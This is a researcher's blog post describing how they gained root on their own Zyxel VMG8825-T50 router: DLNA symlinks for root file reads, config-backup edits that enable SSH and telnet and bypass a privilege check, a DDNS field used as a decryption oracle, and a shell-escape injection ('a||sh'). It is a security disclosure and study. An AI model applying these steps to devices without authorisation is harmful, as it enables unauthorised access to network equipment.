The device

Update (December 2020): Several of the vulnerabilities mentioned in the post below have since been patched by Zyxel. In a later post I detail a different vulnerability, which has also been fixed.


My ISP recently provided me with a new router, the Zyxel VMG8825-T50. It seems to be a relatively new gigabit router with all kinds of capabilities. Sadly, some of them are locked down behind a somewhat restrictive web interface.

This post details my steps towards getting a root shell on this device through software-only means1.

TL;DR: using these four simple tricks you can get a root shell on your Zyxel VMG8825-T50 router:

  1. The DLNA server is running as root and follows symlinks.
  2. Even though they’re hidden in the web UI, SSH and other services can be enabled by setting a few fields in the configuration backup file.
  3. A local subnet can be set as the remote management IP whitelist through the configuration backup file, enabling (local) SSH access.
  4. An innocent DDNS configuration setting can be used as a decryption oracle.

Initial investigation

By default, the device does not expose any interesting services besides the web interface.

Web interface status page

After poking around in its modern Vue-based interface for a bit, I made the following observations:

  • The default admin user is actually the lowest privilege user. The other users are supervisor and root.
  • It is needlessly complex with a large client-side blob of Javascript performing all kinds of processing, including storing the privilege level (medium) in a localStorage variable (yes, you can set it to high to expose more settings), and using some form of homebrew application-layer cryptography in all its asynchronous requests (with the key in localStorage!).
  • There is no firmware upgrade mechanism present. After digging through the Javascript, it appears that this feature was hidden and/or disabled.
  • There is a “Remote Management” section, but it basically only allows toggling HTTP(S) access.

Other initial observations about this device:

  • No firmware image is available on the manufacturer website, in contrast to some of their other models.
  • No source code was published.

The mighty “Backup/Restore” feature

The most interesting page is the “Backup / Restore” page. This feature will turn out to be essential in getting a foothold in this device.

Web interface Backup/Restore page

Clicking “Backup” results in a JSON file called Backup_Restore containing the current router configuration. This large file contains everything2 that’s configurable through the web-interface, and some more:

  • Properties of our admin user and its group, including privilege-related informaton, which is encrypted.
  • A list of enabled and disabled services, containing not just the “HTTP(s)” and “PING” services visible in the web interface, but also “SSH”, “FTP”, “TELNET”, and “SNMP”.

USB filesharing over SMB

The device has a built-in Samba server which can serve files from attached USB drives. From a quick test, at least FAT32, NTFS and ext2 are supported.

The folders visible through SMB are either /home/admin or /home/admin/usbX_sdaX (depending on the USB port and partition). Sadly, symlinks to folders and files outside of this /home/admin are ignored.

Besides the USB mount points, /home/admin contains two folders: data/ and fw/. The former is always empty. The latter appears to be a place to put firmware upgrade files. As it turns out, there is a process called fwwatcher that looks for any file placed in this folder and tries to apply it as a configuration file or firmware upgrade.

At least now we have a way to perform a firmware upgrade!

DLNA / UPnP

Luckily the device supports another way of sharing files, albeit read-only: UPnP/DLNA. The web interface even makes it easy to change the base path outside of the /mnt folder (where the USB drive is also mounted). Using a DLNA client, we can indeed browse the entire filesystem folder structure if the base path is set to /. However, there is one catch: only files ending with common media extensions (e.g. .wav, .mp4, etc) are shown…

UPnP/DLNA settings

Sidenote: in the end, I used BubbleUPnP on my phone to download files from the router. For Linux, djmount appears to be a nice tool, but any file I download ends up being empty.

~$ djmount upnp
~$ cd 'upnp/ZyXEL Digital Media Server/Browse Folders'
~$ ls -lh
total 6,5K
dr-xr-xr-x   2 root root 512  1 jan  2000 bin
dr-xr-xr-x   6 root root 512  1 jan  2000 data
dr-xr-xr-x   8 root root 512  1 jan  2000 dev
dr-xr-xr-x  21 root root 512  1 jan  2000 etc
dr-xr-xr-x   8 root root 512  1 jan  2000 home
dr-xr-xr-x   9 root root 512  1 jan  2000 lib
dr-xr-xr-x   4 root root 512  1 jan  2000 misc
dr-xr-xr-x   4 root root 512  1 jan  2000 mnt
dr-xr-xr-x   2 root root 512  1 jan  2000 overlay
dr-xr-xr-x 136 root root 512  1 jan  2000 proc
dr-xr-xr-x   2 root root 512  1 jan  2000 root
dr-xr-xr-x   2 root root 512  1 jan  2000 sbin
dr-xr-xr-x   4 root root 512  1 jan  2000 sys

There is an easy workaround to the extension issue: symbolic links!

On the USB drive, make something that looks like a media file:

~$ ln -s /etc/passwd passwd.wav

Then browse to /home/admin/usbX_sdaX/ using a DLNA client and download passwd.wav :)

The best part is that we can even download /etc/shadow using this method, indicating that the DLNA server is running as root! Sadly, only regular files work via this method, so /dev/mem and /dev/mtd0 won’t work.

The /etc/shadow file contains our username and hashed password as set through the web interface. Additionally, there are hashes for the root and supervisor accounts. I ran john on them using some common wordlists and rulesets, but no luck. These passwords are likely device-specific and randomly or procedurally generated.


So now we have arbitrary filesystem read capability with root permissions, but no way to list files, no way to read non-regular files and no way to write. Plus the shadow file is currently uncrackable..

Enabling other services

As mentioned before, the Backup_Restore file obtained from the web interface contains some settings for services not mentioned in the web interface. Most interestingly: SSH, telnet and FTP.

All of these services can be enabled by setting the BoundInterfaceList and Mode fields to the values that are set for the HTTP service (LAN_ONLY and IP.Interface.4,IP.Interface.7,IP.Interface.10, respectively). For example, for SSH we replace this section:

      {
        "Name":"SSH",
        "Enable":true,
        "Protocol":6,
        "Port":22,
        "Mode":"",
        "TrustAll":true
      }

with the following:

      {
        "Name":"SSH",
        "Enable":true,
        "Protocol":6,
        "Port":22,
        "Mode":"LAN_ONLY",
        "TrustAll":true,
        "BoundInterfaceList":"IP.Interface.4,IP.Interface.7,IP.Interface.10,",
      }

(the Enable field is a lie)

Making this change for all services enabled them, but logging in as admin is still not allowed. SSH and FTP don’t give any special error messages (just generic failure or timeout), but telnet is a bit more verbose:

Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

VMG8825-T50 login: admin
Password: 
Account: 'admin' TELNET permission denied.
Connection closed by foreign host.

At this point I wondered if the string TELNET permission denied. is part of a standard telnet server. Apparently its a Zyxel-made addition to busybox telnet, as seen here in a set of patches provided by Zyxel as part of a source code release for a different device:

if(zcfgFeObjStructGet(RDM_OID_ZY_LOG_CFG_GP, &logGpObjIid, (void **) &logGpObj) == ZCFG_SUCCESS) {
  if (strstr(logGpObj->GP_Privilege, "telnet") == NULL){
    snprintf(logStr, sizeof(logStr), "Account: '%s' TELNET permission denied.", username);
    puts(logStr);
    syslog(LOG_INFO, "Account:'%s' TELNET permission denied.", username);
    free(logGpObj);
    return EXIT_FAILURE;
  }
  free(logGpObj);
}

Let’s grab the busybox binary from the device using the DLNA symlink trick:

ln -s /bin/busybox busybox.wav

Upon throwing it in Ghidra, it looks like very similar patches were applied to this device:

Extra telnet authentication check present in busybox.

By looking at the Zyxel patches for the other device linked above, we can figure out what this code does: it checks if the string telnet is contained in the GP_Privilege setting of the user who’s trying to log in. Presumably, SSH and FTP perform a similar check.

We can find this GP_Privilege (group privilege?) setting in our config file (abbreviated):

"X_ZYXEL_LoginCfg":{
    "LoginGroupConfigurable":true,
    "LogGp":[
      {
        "emptyIns":true
      },
      {
        "GP_Privilege":"_encrypt_IjjVfowKNKExRGaE8kN9oA==",
        "Account":[
          {
            "AutoShowQuickStart":true,
            "Enabled":true,
            "EnableQuickStart":false,
            "Username":"admin",
            ...

Sadly, it is one of the apparently sensitive set of strings in the configuration backup file that is encrypted, as denoted by the _encrypt_ prefix.

The _encrypt_ oracle

After reverse-engineering the mechanism behind these _encrypt_ values (tangent 1) and realizing that it is based on the supervisor password, I realized that we can let the device do the decryption for us. It turns out that exactly one of the _encrypt_ fields in the config file is readable and editable from the web interface!

Specifically, it is the Password field used for the Dynamic DNS settings:

Custom DDNS settings containing a 'Password' field.

Which is represented like this in the Backup_Restore file:

"DynamicDNS":{
      "Enable":true,
      "ServiceProvider":"userdefined",
      "DDNSType":"",
      "HostName":"foobar",
      "UserName":"foobar",
      "Password":"_encrypt_EilEEm+PPn+b1XhqTC7W3A==",
      "IPAddressPolicy":0,
      "UserIPAddress":"0.0.0.0",
      "Wildcard":false,
      "Offline":false,
      "Interface":"",
      "UpdateURL":"foobar",
      "ConnectionType":"HTTP"
    },

Because the _encrypt_ mechanism is not seeded or context-dependent, this means that we have an encryption oracle and a decryption oracle!

  • encryption: change the plaintext in the web interface, then download the configuration backup containing the ciphertext.
  • decryption: set the ciphertext in the configuration backup, restore the backup and then view the plaintext in the web interface.

Changing GP_Privilege

Using the decryption oracle, it turns out that the GP_Privilege setting contains the string http. Using the encryption oracle we can set it to http,telnet,ftp,ssh. However, this didn’t work. For some reason, the GP_Privilege setting is being reset to the (encrypted) http value upon uploading the configuration file.

Looking again at Zyxel’s patches for busybox on the other device, this comment jumped out:

if (strcmp(addr,"--")){  
  /*If IP address match SP trust domain, do not Auth GP_Privilege */
   while(zcfgFeObjStructGetNext(RDM_OID_SP_TRUST_DOMAIN, &spTrustDomainObjIid, (void **) &spTrustDomainObj) == ZCFG_SUCCESS) {
     if (checkCidrBlock(spTrustDomainObj->IPAddress, spTrustDomainObj->SubnetMask, addr)){
       authGpPrivilege = false ; 
       free(spTrustDomainObj); 
       break ; 
     }
     free(spTrustDomainObj);
   }
  

Hmmm! Again it appears that our busybox binary contains similar code:

SP trust domain check in the busybox binary

So what is this “SP trust domain”? Well, a “trust domain” is apparently an optional IP mask whitelist for the “Remote Management” services, being all of the services mentioned above (telnet, ssh, ftp, http). There is a second set of remote management settings prefixed by SP. My guess is that it stands for Service Provider. These are the default “trust domain” settings in my Backup_Restore file:

    "SPTrustDomain":[
      {
        "Enable":true,
        "IPAddress":"10.1.3.0",
        "SubnetMask":"24",
        "WebDomainName":""
      }
    ],
    "TrustDomain":[
      {
        "Enable":true,
        "IPAddress":"192.168.0.1",
        "SubnetMask":"24"
      }
    ]

So it seems that any IP in this SPTrustDomain range bypasses the GP_Privilege check. Replacing 10.1.3.0 with my local subnet 192.168.0.0 reveals that this is in fact true. We are now able to log into telnet:

$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

VMG8825-T50 login: admin
Password: 
ZySH> id
>>>>> id
      ^ Invalid input!

Besides telnet, SSH also works. Both provide us with a very restricted zysh shell:

ZySH> ?
cfg                        - DAL command line interface
dns                        - ZYXEL command line
ethwanctl                  - ZYXEL command line
exit                       - Close an active terminal session
history                    - Display or clear CLI history
ifconfig                   - Show network interface configuration
ping                       - Send ICMP ECHO_REQUEST to network hosts
pppoectl                   - ZYXEL command line
sys                        - ZYXEL command line
tcpdump                    - Text based packet capture utility
traceroute                 - monitor each routed node during whole routing path to <host>
vcautohuntctl              - ZYXEL command line
voicedbgcli                - ZYXEL command line
wan                        - ZYXEL command line
wlan                       - ZYXEL command line
xdslctl                    - ZYXEL command line
zycli                      - ZYXEL command line

After playing around for a bit, I was not able to find a way to escape.

Update (2021-01-30): A reader with a similar shell on a VMG3925-B10B device showed me a trick to escape:

traceroute ";sh"

This didn’t work for me, as the ; character is filtered, but || works:

ZySH> traceroute "a||sh"
traceroute: bad address 'a'
id
uid=21(admin) gid=21 groups=21

Looking at /etc/passwd, the supervisor and root users should have a regular busybox /bin/sh shell instead:

nobody:x:99:99:nobody:/nonexistent:/bin/false
root:x:0:0:root:/home/root:/bin/sh
supervisor:x:12:12:supervisor:/home/supervisor:/bin/sh
admin:x:21:21:admin:/home/admin:/usr/bin/zysh

At this point, my goal is to find one of their passwords or perform privilege escalation through another method.

Filesystem exploration

FTP now also works. It’s chrooted into /home/admin but luckily the USB drive is mounted at /home/admin/usbX_sdaX/. Placing a symlink to / allows us to properly browse the filesystem, finally. We only have admin-level permissions, but that’s fine. Any file we want to read can be downloaded as root using the DLNA .wav-symlink trick :)

After a lot of digging around I found the file /data/zcfg_config.json. It’s interesting primarily because it is only readable by root, which is a rare property on this device.

At first, it seemed to be a stored version of the Backup_Restore file available through the web-interface, however it is much larger. In fact, I now believe that the Backup_Restore file is a dynamically stripped down version of this file.

The most juicy part is a much more detailed X_ZYXEL_LoginCfg section, including the entries for the root and supervisor users that were not present in the Backup_Restore file:

"X_ZYXEL_LoginCfg":{
    "LoginGroupConfigurable":true,
    "LogGp":[
      {
        "GP_Privilege":"_encrypt_IjjVfowKNKExRGaE8kN9oA==",
        "Account":[
          {
            ...
            "Username":"root",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_hmpHlNKl\/1mx0Nor96s75Q==",
            "DefaultPassword":"_encrypt_<snip>",
            "shadow":"root:$6$<snip>:0::::::\n",
            "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:<snip>:[U          ]:LCT-00000070:\n",
            ...
          },
          {
            "Username":"supervisor",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_DTW25ZshjOAAULO3MIcjsi6ysrA793bqPDcDg7KCLiM=",
            "DefaultPassword":"_encrypt_<snip>",
            "shadow":"supervisor:$6$<snip>:18343::::::\n",
            "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:<snip>:[U          ]:LCT-5E7792CF:\n",
            ...
          }
        ],
        "Level":"high"
      },
      {
        "GP_Privilege":"_encrypt_IjjVfowKNKExRGaE8kN9oA==",
        "Account":[
          {
            "Username":"admin",
            ...
          },
        ],
        ...
      },
      {
        ...
      }
    ],
    ...
  },

I already knew the hashes (both the shadow and smbpasswd versions), but the DefaultPassword entries for root and supervisor are new! Decrypting the _encrypt_ string using the oracle results in the string 2AzX2vWLek3.

Root shell

And indeed, this is not just the default but also the current password for root!

VMG8825-T50 login: root
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux VMG8825-T50 3.18.21 #6 SMP Tue Jul 30 10:35:51 CST 2019 mips GNU/Linux

Now that we have the root password, we can perform the encryption and decryption routines for the _encrypt_ configuration strings offline. See tangent 1.

This password is likely device-specific and flashed into each device’s bootloader flash before shipping. However, it might not be random, but procedurally derived from known information such as the serial number and the MAC address. See tangent 2.


Tangent 1: the _encrypt_ algorithm

The algorithm behind the _encrypt_ strings in the JSON configuration is quite simple. Tracing the configuration parsing flows leads us to the zcmd binary, which contains a aesDecryptCbc256 function (it’s not stripped) whose name is self-explanatory. The key is derived from a password and seed using OpenSSL’s EVP_BytesToKey method. The seed is hardcoded and the password is taken from the encryptKey global.

This encryptKey global is filled during zmcd’s initialization flow, in an interesting manner:

zcmd initialization functions

>> s = [0x54,0x68,0x69,0x53,0x49,0x53,0x45,0x6e,99,0x72,0x79,0x70,0x74,0x69,0x6f,0x4e,0x4b,0x65,0x59]
>>> ''.join(chr(c) for c in s)
'ThiSISEncryptioNKeY'

This is a funny default value, but the actual key is derived from the supervisor password, which is retrieved from flash (specifically mtd0, the bootloader flash), as we can see a bit later in the initialization flow:

The supervisor password is copied to the encrytKey buffer after initialization.

The supervisor password is copied from flash

Using the root shell we can grab it using the same command used by the zyUtilGetMrdInfo function:

/sbin/mtd -q -q readflash /tmp/flashdump 256 65280 bootloader

Revealing some interesting stuff (sensitive stuff is [censored]):

$ xxd flashdump                     
00000000: 0010 8893 5a79 7865 6c20 436f 6d6d 756e  ....Zyxel Commun
00000010: 6963 6174 696f 6e73 2043 6f72 702e 0000  ications Corp...
00000020: 0000 0000 564d 4738 3832 352d 5435 3000  ....VMG8825-T50.
...
00000040:            [root password]
00000050:        [default admin password]
...
00000080: 0000 0000 0000 0000 0002 0003 0506 0708  ................
00000090: 0f00 0000 0000 0000 0000 0000 015a 5958  .............ZYX
000000a0: 4541 0123 4500 5041 4745 0000 0000 0053  EA.#E.PAGE.....S
000000b0:              [serial nr]
000000c0: 0004 0505 0400 0002 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0:        [default WiFi password]
000000f0: 0104 0202 2620 1919 1256 0000 0000 0000  ....& ...V......

Tangent 2: key and password derivation mechanisms

One very interesting file on this device is the libzcfg_be.so library. This is a large (~2MB) file containing many Zyxel helper functions, including the following ones:

zcfgBeCommonGenKeyBySerialNum
zcfgBeCommonGenKeyBySerialNum_CBT
zcfgBeCommonGenKeyBySerialNumMethod2
zcfgBeCommonGenKeyBySerialNumMethod3

All of these take the device serial number and use it derive a specific string.

These methods are referenced in contexts like zcfgBeCommonIsApplyRandomSupervisorPasswordNewAlgorithm, and zcfgBeCommonIsApplyRandomAdminPassword, implying that the resulting strings could be passwords for the supervisor or admin accounts. Some methods appear to be used to generate the default WPA2 password, as was nicely described in this blog post by Luciano Corsalini.

My interest was mostly focussed on the function zcfgBeCommonGenKeyBySerialNumMethod3, which is apparently intended to be used to generate a supervisor password. After implementing this algorithm myself, it indeed results in a password of the same format as the discovered root password (random upper/lowercase digits, 10 characters long). Nevertheless, it doesn’t match the root password nor the supervisor password.

So one of the following is true:

  • My implementation is flawed. Likely, given the finnicky nature of the algorithm and my lack of MIPS reverse-engineering experience.
  • The root password of this router is not derived, and these functions are just left over from other/older models.

Either way, more reversing to be done… :)

Update (November 2022): Some of these derivation functions have now been reverse engineered and reimplemented by boginw on GitHub, verifyingly producing the supervisor password.

Risk of abuse

As all of the above “vulnerabilities” depend upon having access to the router’s web interface, I believe there is no risk of abuse by an external attacker, neither from the WAN nor LAN side; as long as your admin account password is secure (I’m not sure if the default is derivable…).

Nevertheless, the complexity of this device and the massive amount of custom code running and listening on 0.0.0.0 is worrysome. Given the interesting design decisions and protection mechanisms, I would not be surprised if any logic flaws or memory corruption vulnerabilities were found.


  1. It’s likely easier to go about this from the hardware side: dump the flash or look for a UART port. But doing it all in software from the couch was an interesting challenge for me. ↩︎

  2. The only things I found to be missing from the Backup_Restore file are the SMB sharing settings. These are apparently stored on the respective USB drive partition in a file called .Zyxel/.ZyTemp. These files contain |-separated configuration values that are inserted into a Samba configuration file. Some of these fields are not editable from the web interface and editing them might yield interesting results. ↩︎

  3. Not the actual password for my device, but the pattern is the same. It is presumably different for each device anyway. ↩︎